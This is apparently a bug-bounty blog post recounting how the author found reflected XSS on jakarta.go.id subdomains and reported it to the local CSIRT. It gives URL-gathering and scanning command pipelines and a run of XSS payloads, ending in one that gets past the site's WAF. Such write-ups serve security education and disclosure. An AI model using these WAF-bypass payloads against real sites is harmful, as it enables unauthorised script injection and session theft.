BOOK THIS SPACE FOR AD
ARTICLE ADHello everyone!
Hufft, in my first article here, I will share how I bypassed a strong WAF in XSS. Last month, I discovered a Reflected XSS vulnerability in several subdomains of jakarta.go.id. Interestingly, I had to bypass the website’s WAF, and after conducting thorough research, I successfully exploited it. I reported this issue to the Jakarta Provincial CSIRT team and received an electronically signed e-certificate.
Curious about the steps I took to bypass the WAF on jakarta.go.id? Alright, let's get started.
Pertama2 saya melakukan Fetching URL pada list subdomain yang masih aktif dan menggunakan beberapa tools. Berikut tools nya.
First, I fetched URLs from the list of active subdomains using several tools. Here are the tools I used.
⚙️ Tools
WaybackurlsKatanaUrlfinder🧑💻 Command
# waybackurlscat subdomain_aktif.txt | waybackurls | tee waybackurls.txt
# katana
katana -list subdomain_aktif.txt -o katana.txt
# urlfinder
cat subdomain_aktif.txt | sed 's|http://||g' | sed 's|https://||g' | sed 's|/||g' | urlfinder -all | uro | tee urlfinder.txt
# gabungkan url
cat waybackurls.txt katana.txt urlfinder.txt | uro | urls.txt
Now, I have a list of URLs obtained by combining the outputs from the three tools.
🚀 Filtering Urls
cat urls.txt | grep -vE '\.(css|jpg|jpeg|JPG|JPEG|png|PNG|ico|ttf|woff|woff2|svg|swf|js|mp4|mp3|mkv|eot|pdf|7z|tar|gz|zip)' | grep -vE "wp-content|wp-login|wp-includes|wp-json|wp-admin|wp-sitemap|suspendedpage.cgi|wordfence|fbclid|wc-ajax|xmlrpc.php" | grep -vE "=(rss|atom|comments-rss2|xml)" | uro | grep = | httpx -mc 200 -timeout 60 -o xss.txtAlright, now I have a list of URLs ready for scanning Reflected XSS vulnerabilities. At this stage, you can choose how to proceed with the XSS testing—either manually or using an automated scanning tool.
If you want to do automatic scanning I recommend the tools XSStrike and LOXS, both of these tools are free.
Automatic scanning
clear; cat xss.txt | while read a; do echo -e "\n\n\n\033[1;36mScanningURL: $a"; xsstrike -u $a; done | tee xsstrike.txtXSStrike
LOXS
Manual scanning
The advantage of manual testing is the high success rate in finding vulnerabilities since you can directly see the reflected input in the source code using "View Source" or analyze the response via Burp Suite. In this case, I chose to test manually.
So, what steps did I take during manual pentesting to identify the XSS vulnerability?
🔎 XSS Vulnerability Identification
The most effective approach is to start with an HTML Injection attack. If the website is vulnerable to HTML Injection, you can escalate the attack to XSS.
⚡ Example
URL https://example.com/search/?q=test
Now, check the view-source to see how the text "test" appears in the source code. If the text is inside quotation marks (" "), you can try closing the attribute. Here’s an example.
Before:
URL https://example.com/search/?q=test
<input type=”input” value=”test”>After:
URL https://example.com/search/?q=”>test
<input type=”input” value=””>test”>If the response in the view source code looks similar to that, it means the website is vulnerable to HTML Injection. Now, let's try using an XSS payload.
URL https://example.com/search/?q=”><img src=x onerror=”alert(document.domain)”>test
Unfortunately, the website has a security system or WAF in place, which blocks standard XSS payloads like the one above. Here, I attempted to bypass the WAF.
“><img> -> ok
“><img src=x onerror=”alert()”> -> ok
“><img src=x onerror=”alert(1)”> -> blocked
“><img src=x onerror=”alert(‘’)”> -> blocked
“><img src=x onerror=”alert(``)”> -> blocked
“><img src=x onerror=”alert``”> -> blocked
“><img src=x onerror=”alert`xss`”> -> ok
As you can see above, I successfully executed XSS using a custom payload. However, strangely, if I set the alert value to a number like alert(1337), it gets blocked by the WAF. Hmm... maybe that’s part of the WAF’s filtering mechanism? I’m not entirely sure.
Okay, what’s next? I wanted to take it a step further—I wanted to display an alert with my nickname in the popup. But how could I do that when the payload I used earlier (`) relies on a backtick character?
I struggled to find a way until I finally came across a reference payload from an X (formerly Twitter) post by Knoxss. Here it is:
Let's give it a try and see if it works or not.
“><img src=x onerror=”(alert)”> -> no WAF & no alert
“><img src=x onerror=”(alert)()”> -> ok
“><img src=x onerror=”(alert)(document.domain)”> -> ok
Here, I successfully triggered a domain popup. However, when I tried adding additional XSS text inside it, I encountered a new issue—I couldn't get the alert to appear.
“><img src=x onerror=”(alert)(document.domain +)”> -> ok
“><img src=x onerror=”(alert)(document.domain + ‘\n\nxss’)”> -> no alert
I checked the view source, and after analyzing it, I found that the issue was with the + character, which was automatically converted into a space. This was part of the problem. Alright, now I’ll try encoding it using URL encoding.
“><img src=x onerror=”(alert)(document.domain %2b ‘\n\nxss’)”> -> no alert
“><img src=x onerror=”(alert)(document.domain %2b `\n\nxss`)”> -> ok
Finally, I successfully triggered an alert on the domain and added custom text.
Thank you for reading this article! I hope it provides insights for those trying to bypass complex WAFs or even finding tricks to bypass them without encoding.